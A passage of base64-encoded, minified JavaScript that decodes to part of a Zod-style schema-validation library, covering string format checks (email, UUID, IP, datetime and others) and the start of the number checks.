c31pc051bGxhYmxlKCl7cmV0dXJuIHRoaXMuc2FmZVBhcnNlKG51bGwpLnN1Y2Nlc3N9fWNvbnN0IFNlPS9eY1teXHMtXXs4LH0kL2ksYmU9L15bMC05YS16XSskLyx3ZT0vXlswLTlBLUhKS01OUC1UVi1aXXsyNn0kLyxPZT0vXlswLTlhLWZBLUZdezh9XGItWzAtOWEtZkEtRl17NH1cYi1bMC05YS1mQS1GXXs0fVxiLVswLTlhLWZBLUZdezR9XGItWzAtOWEtZkEtRl17MTJ9JC9pLFJlPS9eW2EtejAtOV8tXXsyMX0kL2ksUGU9L15bLStdP1AoPyEkKSg/Oig/OlstK10/XGQrWSl8KD86Wy0rXT9cZCtbLixdXGQrWSQpKT8oPzooPzpbLStdP1xkK00pfCg/OlstK10/XGQrWy4sXVxkK00kKSk/KD86KD86Wy0rXT9cZCtXKXwoPzpbLStdP1xkK1suLF1cZCtXJCkpPyg/Oig/OlstK10/XGQrRCl8KD86Wy0rXT9cZCtbLixdXGQrRCQpKT8oPzpUKD89W1xkKy1dKSg/Oig/OlstK10/XGQrSCl8KD86Wy0rXT9cZCtbLixdXGQrSCQpKT8oPzooPzpbLStdP1xkK00pfCg/OlstK10/XGQrWy4sXVxkK00kKSk/KD86Wy0rXT9cZCsoPzpbLixdXGQrKT9TKT8pPz8kLyxfZT0vXig/IVwuKSg/IS4qXC5cLikoW0EtWjAtOV8nK1wtXC5dKilbQS1aMC05XystXUAoW0EtWjAtOV1bQS1aMC05XC1dKlwuKStbQS1aXXsyLH0kL2k7bGV0IE5lO2NvbnN0IE1lPS9eKD86KD86MjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV1bMC05XXxbMS05XVswLTldfFswLTldKVwuKXszfSg/OjI1WzAtNV18MlswLTRdWzAtOV18MVswLTldWzAtOV18WzEtOV1bMC05XXxbMC05XSkkLyxHZT0vXigoW2EtZjAtOV17MSw0fTopezd9fDo6KFthLWYwLTldezEsNH06KXswLDZ9fChbYS1mMC05XXsxLDR9Oil7MX06KFthLWYwLTldezEsNH06KXswLDV9fChbYS1mMC05XXsxLDR9Oil7Mn06KFthLWYwLTldezEsNH06KXswLDR9fChbYS1mMC05XXsxLDR9Oil7M306KFthLWYwLTldezEsNH06KXswLDN9fChbYS1mMC05XXsxLDR9Oil7NH06KFthLWYwLTldezEsNH06KXswLDJ9fChbYS1mMC05XXsxLDR9Oil7NX06KFthLWYwLTldezEsNH06KXswLDF9KShbYS1mMC05XXsxLDR9fCgoKDI1WzAtNV0pfCgyWzAtNF1bMC05XSl8KDFbMC05XXsyfSl8KFswLTldezEsMn0pKVwuKXszfSgoMjVbMC01XSl8KDJbMC00XVswLTldKXwoMVswLTldezJ9KXwoWzAtOV17MSwyfSkpKSQvLEVlPS9eKFswLTlhLXpBLVorL117NH0pKigoWzAtOWEtekEtWisvXXsyfT09KXwoWzAtOWEtekEtWisvXXszfT0pKT8kLyxCZT0iKChcXGRcXGRbMjQ2OF1bMDQ4XXxcXGRcXGRbMTM1NzldWzI2XXxcXGRcXGQwWzQ4XXxbMDI0NjhdWzA0OF0wMHxbMTM1NzldWzI2XTAwKS0wMi0yOXxcXGR7NH0tKCgwWzEzNTc4XXwxWzAyXSktKDBbMS05XXxbMTJdXFxkfDNbMDFdKXwoMFs0NjldfDExKS0oMFsxLTldfFsxMl1cXGR8MzApfCgwMiktKDBbMS05XXwxXFxkfDJbMC04XSkpKSIsVGU9bmV3IFJlZ0V4cChgXiR7QmV9JGApO2Z1bmN0aW9uIHFlKHQpe2xldCBlPSIoWzAxXVxcZHwyWzAtM10pOlswLTVdXFxkOlswLTVdXFxkIjtyZXR1cm4gdC5wcmVjaXNpb24/ZT1gJHtlfVxcLlxcZHske3QucHJlY2lzaW9ufX1gOm51bGw9PXQucHJlY2lzaW9uJiYoZT1gJHtlfShcXC5cXGQrKT9gKSxlfWZ1bmN0aW9uIEFlKHQpe2xldCBlPWAke0JlfVQke3FlKHQpfWA7Y29uc3Qgbj1bXTtyZXR1cm4gbi5wdXNoKHQubG9jYWw/Ilo/IjoiWiIpLHQub2Zmc2V0JiZuLnB1c2goIihbKy1dXFxkezJ9Oj9cXGR7Mn0pIiksZT1gJHtlfSgke24uam9pbigifCIpfSlgLG5ldyBSZWdFeHAoYF4ke2V9JGApfWNsYXNzIFplIGV4dGVuZHMgeGV7X3BhcnNlKHQpe3RoaXMuX2RlZi5jb2VyY2UmJih0LmRhdGE9U3RyaW5nKHQuZGF0YSkpO2lmKHRoaXMuX2dldFR5cGUodCkhPT1qdC5zdHJpbmcpe2NvbnN0IGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCk7cmV0dXJuIG9lKGUse2NvZGU6WHQuaW52YWxpZF90eXBlLGV4cGVjdGVkOmp0LnN0cmluZyxyZWNlaXZlZDplLnBhcnNlZFR5cGV9KSxpZX1jb25zdCBlPW5ldyBhZTtsZXQgbjtmb3IoY29uc3QgaSBvZiB0aGlzLl9kZWYuY2hlY2tzKWlmKCJtaW4iPT09aS5raW5kKXQuZGF0YS5sZW5ndGg8aS52YWx1ZSYmKG49dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCxuKSxvZShuLHtjb2RlOlh0LnRvb19zbWFsbCxtaW5pbXVtOmkudmFsdWUsdHlwZToic3RyaW5nIixpbmNsdXNpdmU6ITAsZXhhY3Q6ITEsbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpO2Vsc2UgaWYoIm1heCI9PT1pLmtpbmQpdC5kYXRhLmxlbmd0aD5pLnZhbHVlJiYobj10aGlzLl9nZXRPclJldHVybkN0eCh0LG4pLG9lKG4se2NvZGU6WHQudG9vX2JpZyxtYXhpbXVtOmkudmFsdWUsdHlwZToic3RyaW5nIixpbmNsdXNpdmU6ITAsZXhhY3Q6ITEsbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpO2Vsc2UgaWYoImxlbmd0aCI9PT1pLmtpbmQpe2NvbnN0IHI9dC5kYXRhLmxlbmd0aD5pLnZhbHVlLG89dC5kYXRhLmxlbmd0aDxpLnZhbHVlOyhyfHxvKSYmKG49dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCxuKSxyP29lKG4se2NvZGU6WHQudG9vX2JpZyxtYXhpbXVtOmkudmFsdWUsdHlwZToic3RyaW5nIixpbmNsdXNpdmU6ITAsZXhhY3Q6ITAsbWVzc2FnZTppLm1lc3NhZ2V9KTpvJiZvZShuLHtjb2RlOlh0LnRvb19zbWFsbCxtaW5pbXVtOmkudmFsdWUsdHlwZToic3RyaW5nIixpbmNsdXNpdmU6ITAsZXhhY3Q6ITAsbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpfWVsc2UgaWYoImVtYWlsIj09PWkua2luZClfZS50ZXN0KHQuZGF0YSl8fChuPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsbiksb2Uobix7dmFsaWRhdGlvbjoiZW1haWwiLGNvZGU6WHQuaW52YWxpZF9zdHJpbmcsbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpO2Vsc2UgaWYoImVtb2ppIj09PWkua2luZClOZXx8KE5lPW5ldyBSZWdFeHAoIl4oXFxwe0V4dGVuZGVkX1BpY3RvZ3JhcGhpY318XFxwe0Vtb2ppX0NvbXBvbmVudH0pKyQiLCJ1IikpLE5lLnRlc3QodC5kYXRhKXx8KG49dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCxuKSxvZShuLHt2YWxpZGF0aW9uOiJlbW9qaSIsY29kZTpYdC5pbnZhbGlkX3N0cmluZyxtZXNzYWdlOmkubWVzc2FnZX0pLGUuZGlydHkoKSk7ZWxzZSBpZigidXVpZCI9PT1pLmtpbmQpT2UudGVzdCh0LmRhdGEpfHwobj10aGlzLl9nZXRPclJldHVybkN0eCh0LG4pLG9lKG4se3ZhbGlkYXRpb246InV1aWQiLGNvZGU6WHQuaW52YWxpZF9zdHJpbmcsbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpO2Vsc2UgaWYoIm5hbm9pZCI9PT1pLmtpbmQpUmUudGVzdCh0LmRhdGEpfHwobj10aGlzLl9nZXRPclJldHVybkN0eCh0LG4pLG9lKG4se3ZhbGlkYXRpb246Im5hbm9pZCIsY29kZTpYdC5pbnZhbGlkX3N0cmluZyxtZXNzYWdlOmkubWVzc2FnZX0pLGUuZGlydHkoKSk7ZWxzZSBpZigiY3VpZCI9PT1pLmtpbmQpU2UudGVzdCh0LmRhdGEpfHwobj10aGlzLl9nZXRPclJldHVybkN0eCh0LG4pLG9lKG4se3ZhbGlkYXRpb246ImN1aWQiLGNvZGU6WHQuaW52YWxpZF9zdHJpbmcsbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpO2Vsc2UgaWYoImN1aWQyIj09PWkua2luZCliZS50ZXN0KHQuZGF0YSl8fChuPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsbiksb2Uobix7dmFsaWRhdGlvbjoiY3VpZDIiLGNvZGU6WHQuaW52YWxpZF9zdHJpbmcsbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpO2Vsc2UgaWYoInVsaWQiPT09aS5raW5kKXdlLnRlc3QodC5kYXRhKXx8KG49dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCxuKSxvZShuLHt2YWxpZGF0aW9uOiJ1bGlkIixjb2RlOlh0LmludmFsaWRfc3RyaW5nLG1lc3NhZ2U6aS5tZXNzYWdlfSksZS5kaXJ0eSgpKTtlbHNlIGlmKCJ1cmwiPT09aS5raW5kKXRyeXtuZXcgVVJMKHQuZGF0YSl9Y2F0Y2goYSl7bj10aGlzLl9nZXRPclJldHVybkN0eCh0LG4pLG9lKG4se3ZhbGlkYXRpb246InVybCIsY29kZTpYdC5pbnZhbGlkX3N0cmluZyxtZXNzYWdlOmkubWVzc2FnZX0pLGUuZGlydHkoKX1lbHNlIGlmKCJyZWdleCI9PT1pLmtpbmQpe2kucmVnZXgubGFzdEluZGV4PTA7aS5yZWdleC50ZXN0KHQuZGF0YSl8fChuPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsbiksb2Uobix7dmFsaWRhdGlvbjoicmVnZXgiLGNvZGU6WHQuaW52YWxpZF9zdHJpbmcsbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpfWVsc2UgaWYoInRyaW0iPT09aS5raW5kKXQuZGF0YT10LmRhdGEudHJpbSgpO2Vsc2UgaWYoImluY2x1ZGVzIj09PWkua2luZCl0LmRhdGEuaW5jbHVkZXMoaS52YWx1ZSxpLnBvc2l0aW9uKXx8KG49dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCxuKSxvZShuLHtjb2RlOlh0LmludmFsaWRfc3RyaW5nLHZhbGlkYXRpb246e2luY2x1ZGVzOmkudmFsdWUscG9zaXRpb246aS5wb3NpdGlvbn0sbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpO2Vsc2UgaWYoInRvTG93ZXJDYXNlIj09PWkua2luZCl0LmRhdGE9dC5kYXRhLnRvTG93ZXJDYXNlKCk7ZWxzZSBpZigidG9VcHBlckNhc2UiPT09aS5raW5kKXQuZGF0YT10LmRhdGEudG9VcHBlckNhc2UoKTtlbHNlIGlmKCJzdGFydHNXaXRoIj09PWkua2luZCl0LmRhdGEuc3RhcnRzV2l0aChpLnZhbHVlKXx8KG49dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCxuKSxvZShuLHtjb2RlOlh0LmludmFsaWRfc3RyaW5nLHZhbGlkYXRpb246e3N0YXJ0c1dpdGg6aS52YWx1ZX0sbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpO2Vsc2UgaWYoImVuZHNXaXRoIj09PWkua2luZCl0LmRhdGEuZW5kc1dpdGgoaS52YWx1ZSl8fChuPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsbiksb2Uobix7Y29kZTpYdC5pbnZhbGlkX3N0cmluZyx2YWxpZGF0aW9uOntlbmRzV2l0aDppLnZhbHVlfSxtZXNzYWdlOmkubWVzc2FnZX0pLGUuZGlydHkoKSk7ZWxzZSBpZigiZGF0ZXRpbWUiPT09aS5raW5kKXtBZShpKS50ZXN0KHQuZGF0YSl8fChuPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsbiksb2Uobix7Y29kZTpYdC5pbnZhbGlkX3N0cmluZyx2YWxpZGF0aW9uOiJkYXRldGltZSIsbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpfWVsc2UgaWYoImRhdGUiPT09aS5raW5kKXtUZS50ZXN0KHQuZGF0YSl8fChuPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsbiksb2Uobix7Y29kZTpYdC5pbnZhbGlkX3N0cmluZyx2YWxpZGF0aW9uOiJkYXRlIixtZXNzYWdlOmkubWVzc2FnZX0pLGUuZGlydHkoKSl9ZWxzZSBpZigidGltZSI9PT1pLmtpbmQpe25ldyBSZWdFeHAoYF4ke3FlKGkpfSRgKS50ZXN0KHQuZGF0YSl8fChuPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsbiksb2Uobix7Y29kZTpYdC5pbnZhbGlkX3N0cmluZyx2YWxpZGF0aW9uOiJ0aW1lIixtZXNzYWdlOmkubWVzc2FnZX0pLGUuZGlydHkoKSl9ZWxzZSJkdXJhdGlvbiI9PT1pLmtpbmQ/UGUudGVzdCh0LmRhdGEpfHwobj10aGlzLl9nZXRPclJldHVybkN0eCh0LG4pLG9lKG4se3ZhbGlkYXRpb246ImR1cmF0aW9uIixjb2RlOlh0LmludmFsaWRfc3RyaW5nLG1lc3NhZ2U6aS5tZXNzYWdlfSksZS5kaXJ0eSgpKToiaXAiPT09aS5raW5kPyhyPXQuZGF0YSwoInY0IiE9PShvPWkudmVyc2lvbikmJm98fCFNZS50ZXN0KHIpKSYmKCJ2NiIhPT1vJiZvfHwhR2UudGVzdChyKSkmJihuPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsbiksb2Uobix7dmFsaWRhdGlvbjoiaXAiLGNvZGU6WHQuaW52YWxpZF9zdHJpbmcsbWVzc2FnZTppLm1lc3NhZ2V9KSxlLmRpcnR5KCkpKToiYmFzZTY0Ij09PWkua2luZD9FZS50ZXN0KHQuZGF0YSl8fChuPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsbiksb2Uobix7dmFsaWRhdGlvbjoiYmFzZTY0Iixjb2RlOlh0LmludmFsaWRfc3RyaW5nLG1lc3NhZ2U6aS5tZXNzYWdlfSksZS5kaXJ0eSgpKTpJdC5hc3NlcnROZXZlcihpKTt2YXIgcixvO3JldHVybntzdGF0dXM6ZS52YWx1ZSx2YWx1ZTp0LmRhdGF9fV9yZWdleCh0LGUsbil7cmV0dXJuIHRoaXMucmVmaW5lbWVudCgoZT0+dC50ZXN0KGUpKSx7dmFsaWRhdGlvbjplLGNvZGU6WHQuaW52YWxpZF9zdHJpbmcsLi4ubWUuZXJyVG9PYmoobil9KX1fYWRkQ2hlY2sodCl7cmV0dXJuIG5ldyBaZSh7Li4udGhpcy5fZGVmLGNoZWNrczpbLi4udGhpcy5fZGVmLmNoZWNrcyx0XX0pfWVtYWlsKHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoiZW1haWwiLC4uLm1lLmVyclRvT2JqKHQpfSl9dXJsKHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoidXJsIiwuLi5tZS5lcnJUb09iaih0KX0pfWVtb2ppKHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoiZW1vamkiLC4uLm1lLmVyclRvT2JqKHQpfSl9dXVpZCh0KXtyZXR1cm4gdGhpcy5fYWRkQ2hlY2soe2tpbmQ6InV1aWQiLC4uLm1lLmVyclRvT2JqKHQpfSl9bmFub2lkKHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoibmFub2lkIiwuLi5tZS5lcnJUb09iaih0KX0pfWN1aWQodCl7cmV0dXJuIHRoaXMuX2FkZENoZWNrKHtraW5kOiJjdWlkIiwuLi5tZS5lcnJUb09iaih0KX0pfWN1aWQyKHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoiY3VpZDIiLC4uLm1lLmVyclRvT2JqKHQpfSl9dWxpZCh0KXtyZXR1cm4gdGhpcy5fYWRkQ2hlY2soe2tpbmQ6InVsaWQiLC4uLm1lLmVyclRvT2JqKHQpfSl9YmFzZTY0KHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoiYmFzZTY0IiwuLi5tZS5lcnJUb09iaih0KX0pfWlwKHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoiaXAiLC4uLm1lLmVyclRvT2JqKHQpfSl9ZGF0ZXRpbWUodCl7dmFyIGUsbjtyZXR1cm4ic3RyaW5nIj09dHlwZW9mIHQ/dGhpcy5fYWRkQ2hlY2soe2tpbmQ6ImRhdGV0aW1lIixwcmVjaXNpb246bnVsbCxvZmZzZXQ6ITEsbG9jYWw6ITEsbWVzc2FnZTp0fSk6dGhpcy5fYWRkQ2hlY2soe2tpbmQ6ImRhdGV0aW1lIixwcmVjaXNpb246dm9pZCAwPT09KG51bGw9PXQ/dm9pZCAwOnQucHJlY2lzaW9uKT9udWxsOm51bGw9PXQ/dm9pZCAwOnQucHJlY2lzaW9uLG9mZnNldDpudWxsIT09KGU9bnVsbD09dD92b2lkIDA6dC5vZmZzZXQpJiZ2b2lkIDAhPT1lJiZlLGxvY2FsOm51bGwhPT0obj1udWxsPT10P3ZvaWQgMDp0LmxvY2FsKSYmdm9pZCAwIT09biYmbiwuLi5tZS5lcnJUb09iaihudWxsPT10P3ZvaWQgMDp0Lm1lc3NhZ2UpfSl9ZGF0ZSh0KXtyZXR1cm4gdGhpcy5fYWRkQ2hlY2soe2tpbmQ6ImRhdGUiLG1lc3NhZ2U6dH0pfXRpbWUodCl7cmV0dXJuInN0cmluZyI9PXR5cGVvZiB0P3RoaXMuX2FkZENoZWNrKHtraW5kOiJ0aW1lIixwcmVjaXNpb246bnVsbCxtZXNzYWdlOnR9KTp0aGlzLl9hZGRDaGVjayh7a2luZDoidGltZSIscHJlY2lzaW9uOnZvaWQgMD09PShudWxsPT10P3ZvaWQgMDp0LnByZWNpc2lvbik/bnVsbDpudWxsPT10P3ZvaWQgMDp0LnByZWNpc2lvbiwuLi5tZS5lcnJUb09iaihudWxsPT10P3ZvaWQgMDp0Lm1lc3NhZ2UpfSl9ZHVyYXRpb24odCl7cmV0dXJuIHRoaXMuX2FkZENoZWNrKHtraW5kOiJkdXJhdGlvbiIsLi4ubWUuZXJyVG9PYmoodCl9KX1yZWdleCh0LGUpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoicmVnZXgiLHJlZ2V4OnQsLi4ubWUuZXJyVG9PYmooZSl9KX1pbmNsdWRlcyh0LGUpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoiaW5jbHVkZXMiLHZhbHVlOnQscG9zaXRpb246bnVsbD09ZT92b2lkIDA6ZS5wb3NpdGlvbiwuLi5tZS5lcnJUb09iaihudWxsPT1lP3ZvaWQgMDplLm1lc3NhZ2UpfSl9c3RhcnRzV2l0aCh0LGUpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoic3RhcnRzV2l0aCIsdmFsdWU6dCwuLi5tZS5lcnJUb09iaihlKX0pfWVuZHNXaXRoKHQsZSl7cmV0dXJuIHRoaXMuX2FkZENoZWNrKHtraW5kOiJlbmRzV2l0aCIsdmFsdWU6dCwuLi5tZS5lcnJUb09iaihlKX0pfW1pbih0LGUpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoibWluIix2YWx1ZTp0LC4uLm1lLmVyclRvT2JqKGUpfSl9bWF4KHQsZSl7cmV0dXJuIHRoaXMuX2FkZENoZWNrKHtraW5kOiJtYXgiLHZhbHVlOnQsLi4ubWUuZXJyVG9PYmooZSl9KX1sZW5ndGgodCxlKXtyZXR1cm4gdGhpcy5fYWRkQ2hlY2soe2tpbmQ6Imxlbmd0aCIsdmFsdWU6dCwuLi5tZS5lcnJUb09iaihlKX0pfW5vbmVtcHR5KHQpe3JldHVybiB0aGlzLm1pbigxLG1lLmVyclRvT2JqKHQpKX10cmltKCl7cmV0dXJuIG5ldyBaZSh7Li4udGhpcy5fZGVmLGNoZWNrczpbLi4udGhpcy5fZGVmLmNoZWNrcyx7a2luZDoidHJpbSJ9XX0pfXRvTG93ZXJDYXNlKCl7cmV0dXJuIG5ldyBaZSh7Li4udGhpcy5fZGVmLGNoZWNrczpbLi4udGhpcy5fZGVmLmNoZWNrcyx7a2luZDoidG9Mb3dlckNhc2UifV19KX10b1VwcGVyQ2FzZSgpe3JldHVybiBuZXcgWmUoey4uLnRoaXMuX2RlZixjaGVja3M6Wy4uLnRoaXMuX2RlZi5jaGVja3Mse2tpbmQ6InRvVXBwZXJDYXNlIn1dfSl9Z2V0IGlzRGF0ZXRpbWUoKXtyZXR1cm4hIXRoaXMuX2RlZi5jaGVja3MuZmluZCgodD0+ImRhdGV0aW1lIj09PXQua2luZCkpfWdldCBpc0RhdGUoKXtyZXR1cm4hIXRoaXMuX2RlZi5jaGVja3MuZmluZCgodD0+ImRhdGUiPT09dC5raW5kKSl9Z2V0IGlzVGltZSgpe3JldHVybiEhdGhpcy5fZGVmLmNoZWNrcy5maW5kKCh0PT4idGltZSI9PT10LmtpbmQpKX1nZXQgaXNEdXJhdGlvbigpe3JldHVybiEhdGhpcy5fZGVmLmNoZWNrcy5maW5kKCh0PT4iZHVyYXRpb24iPT09dC5raW5kKSl9Z2V0IGlzRW1haWwoKXtyZXR1cm4hIXRoaXMuX2RlZi5jaGVja3MuZmluZCgodD0+ImVtYWlsIj09PXQua2luZCkpfWdldCBpc1VSTCgpe3JldHVybiEhdGhpcy5fZGVmLmNoZWNrcy5maW5kKCh0PT4idXJsIj09PXQua2luZCkpfWdldCBpc0Vtb2ppKCl7cmV0dXJuISF0aGlzLl9kZWYuY2hlY2tzLmZpbmQoKHQ9PiJlbW9qaSI9PT10LmtpbmQpKX1nZXQgaXNVVUlEKCl7cmV0dXJuISF0aGlzLl9kZWYuY2hlY2tzLmZpbmQoKHQ9PiJ1dWlkIj09PXQua2luZCkpfWdldCBpc05BTk9JRCgpe3JldHVybiEhdGhpcy5fZGVmLmNoZWNrcy5maW5kKCh0PT4ibmFub2lkIj09PXQua2luZCkpfWdldCBpc0NVSUQoKXtyZXR1cm4hIXRoaXMuX2RlZi5jaGVja3MuZmluZCgodD0+ImN1aWQiPT09dC5raW5kKSl9Z2V0IGlzQ1VJRDIoKXtyZXR1cm4hIXRoaXMuX2RlZi5jaGVja3MuZmluZCgodD0+ImN1aWQyIj09PXQua2luZCkpfWdldCBpc1VMSUQoKXtyZXR1cm4hIXRoaXMuX2RlZi5jaGVja3MuZmluZCgodD0+InVsaWQiPT09dC5raW5kKSl9Z2V0IGlzSVAoKXtyZXR1cm4hIXRoaXMuX2RlZi5jaGVja3MuZmluZCgodD0+ImlwIj09PXQua2luZCkpfWdldCBpc0Jhc2U2NCgpe3JldHVybiEhdGhpcy5fZGVmLmNoZWNrcy5maW5kKCh0PT4iYmFzZTY0Ij09PXQua2luZCkpfWdldCBtaW5MZW5ndGgoKXtsZXQgdD1udWxsO2Zvcihjb25zdCBlIG9mIHRoaXMuX2RlZi5jaGVja3MpIm1pbiI9PT1lLmtpbmQmJihudWxsPT09dHx8ZS52YWx1ZT50KSYmKHQ9ZS52YWx1ZSk7cmV0dXJuIHR9Z2V0IG1heExlbmd0aCgpe2xldCB0PW51bGw7Zm9yKGNvbnN0IGUgb2YgdGhpcy5fZGVmLmNoZWNrcykibWF4Ij09PWUua2luZCYmKG51bGw9PT10fHxlLnZhbHVlPHQpJiYodD1lLnZhbHVlKTtyZXR1cm4gdH19ZnVuY3Rpb24gTGUodCxlKXtjb25zdCBuPSh0LnRvU3RyaW5nKCkuc3BsaXQoIi4iKVsxXXx8IiIpLmxlbmd0aCxyPShlLnRvU3RyaW5nKCkuc3BsaXQoIi4iKVsxXXx8IiIpLmxlbmd0aCxvPW4+cj9uOnI7cmV0dXJuIHBhcnNlSW50KHQudG9GaXhlZChvKS5yZXBsYWNlKCIuIiwiIikpJXBhcnNlSW50KGUudG9GaXhlZChvKS5yZXBsYWNlKCIuIiwiIikpL01hdGgucG93KDEwLG8pfVplLmNyZWF0ZT10PT57dmFyIGU7cmV0dXJuIG5ldyBaZSh7Y2hlY2tzOltdLHR5cGVOYW1lOl9uLlpvZFN0cmluZyxjb2VyY2U6bnVsbCE9PShlPW51bGw9PXQ/dm9pZCAwOnQuY29lcmNlKSYmdm9pZCAwIT09ZSYmZSwuLi5DZSh0KX0pfTtjbGFzcyBRZSBleHRlbmRzIHhle2NvbnN0cnVjdG9yKCl7c3VwZXIoLi4uYXJndW1lbnRzKSx0aGlzLm1pbj10aGlzLmd0ZSx0aGlzLm1heD10aGlzLmx0ZSx0aGlzLnN0ZXA9dGhpcy5tdWx0aXBsZU9mfV9wYXJzZSh0KXt0aGlzLl9kZWYuY29lcmNlJiYodC5kYXRhPU51bWJlcih0LmRhdGEpKTtpZih0aGlzLl9nZXRUeXBlKHQpIT09anQubnVtYmVyKXtjb25zdCBlPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQpO3JldHVybiBvZShlLHtjb2RlOlh0LmludmFsaWRfdHlwZSxleHBlY3RlZDpqdC5udW1iZXIscmVjZWl2ZWQ6ZS5wYXJzZWRUeXBlfSksaWV9bGV0IGU7Y29uc3Qgbj1uZXcgYWU7Zm9yKGNvbnN0IHIgb2YgdGhpcy5fZGVmLmNoZWNrcylpZigiaW50Ij09PXIua2luZClJdC5pc0ludGVnZXIodC5kYXRhKXx8KGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCxlKSxvZShlLHtjb2RlOlh0LmludmFsaWRfdHlwZSxleHBlY3RlZDoiaW50ZWdlciIscmVjZWl2ZWQ6ImZsb2F0IixtZXNzYWdlOnIubWVzc2FnZX0pLG4uZGlydHkoKSk7ZWxzZSBpZigibWluIj09PXIua2luZCl7KHIuaW5jbHVzaXZlP3QuZGF0YTxyLnZhbHVlOnQuZGF0YTw9ci52YWx1ZSkmJihlPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsZSksb2UoZSx7Y29kZTpYdC50b29fc21hbGwsbWluaW11bTpyLnZhbHVlLHR5cGU6Im51bWJlciIsaW5jbHVzaXZlOnIuaW5jbHVzaXZlLGV4YWN0OiExLG1lc3NhZ2U6ci5tZXNzYWdlfSksbi5kaXJ0eSgpKX1lbHNlIGlmKCJtYXgiPT09ci5raW5kKXsoci5pbmNsdXNpdmU/dC5kYXRhPnIudmFsdWU6dC5kYXRhPj1yLnZhbHVlKSYmKGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCxlKSxvZShlLHtjb2RlOlh0LnRvb19iaWcsbWF4aW11bTpyLnZhbHVlLHR5cGU6Im51bWJlciIsaW5jbHVzaXZlOnIuaW5jbHVzaXZlLGV4YWN0OiExLG1lc3NhZ2U6ci5tZXNzYWdlfSksbi5kaXJ0eSgpKX1lbHNlIm11bHRpcGxlT2YiPT09ci5raW5kPzAhPT1MZSh0LmRhdGEsci52YWx1ZSkmJihlPXRoaXMuX2dldE9yUmV0dXJuQ3R4KHQsZSksb2UoZSx7Y29kZTpYdC5ub3RfbXVsdGlwbGVfb2YsbXVsdGlwbGVPZjpyLnZhbHVlLG1lc3NhZ2U6ci5tZXNzYWdlfSksbi5kaXJ0eSgpKToiZmluaXRlIj09PXIua2luZD9OdW1iZXIuaXNGaW5pdGUodC5kYXRhKXx8KGU9dGhpcy5fZ2V0T3JSZXR1cm5DdHgodCxlKSxvZShlLHtjb2RlOlh0Lm5vdF9maW5pdGUsbWVzc2FnZTpyLm1lc3NhZ2V9KSxuLmRpcnR5KCkpOkl0LmFzc2VydE5ldmVyKHIpO3JldHVybntzdGF0dXM6bi52YWx1ZSx2YWx1ZTp0LmRhdGF9fWd0ZSh0LGUpe3JldHVybiB0aGlzLnNldExpbWl0KCJtaW4iLHQsITAsbWUudG9TdHJpbmcoZSkpfWd0KHQsZSl7cmV0dXJuIHRoaXMuc2V0TGltaXQoIm1pbiIsdCwhMSxtZS50b1N0cmluZyhlKSl9bHRlKHQsZSl7cmV0dXJuIHRoaXMuc2V0TGltaXQoIm1heCIsdCwhMCxtZS50b1N0cmluZyhlKSl9bHQodCxlKXtyZXR1cm4gdGhpcy5zZXRMaW1pdCgibWF4Iix0LCExLG1lLnRvU3RyaW5nKGUpKX1zZXRMaW1pdCh0LGUsbixyKXtyZXR1cm4gbmV3IFFlKHsuLi50aGlzLl9kZWYsY2hlY2tzOlsuLi50aGlzLl9kZWYuY2hlY2tzLHtraW5kOnQsdmFsdWU6ZSxpbmNsdXNpdmU6bixtZXNzYWdlOm1lLnRvU3RyaW5nKHIpfV19KX1fYWRkQ2hlY2sodCl7cmV0dXJuIG5ldyBRZSh7Li4udGhpcy5fZGVmLGNoZWNrczpbLi4udGhpcy5fZGVmLmNoZWNrcyx0XX0pfWludCh0KXtyZXR1cm4gdGhpcy5fYWRkQ2hlY2soe2tpbmQ6ImludCIsbWVzc2FnZTptZS50b1N0cmluZyh0KX0pfXBvc2l0aXZlKHQpe3JldHVybiB0aGlzLl9hZGRDaGVjayh7a2luZDoibWluIix2YWx1ZTowLGluY2x1c2l2ZTohMSxtZXNzYWdlOm1lLnRvU3RyaW5nKHQpfSl9bmVnYXRpdmUodCl7c